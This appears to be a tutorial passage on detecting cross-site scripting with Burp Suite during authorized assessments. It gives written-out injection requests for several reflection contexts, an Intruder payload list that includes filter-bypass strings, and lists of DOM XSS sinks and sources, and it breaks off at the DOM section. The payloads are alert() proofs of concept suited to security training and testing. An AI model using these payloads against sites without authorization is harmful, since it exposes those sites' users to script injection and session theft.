Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
Set up the proxy and crawl the application to discover all input vectors.
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
Send requests to Repeater and inject unique canary strings to find where user input is reflected.
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
Based on the reflection context, craft targeted XSS payloads.
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS: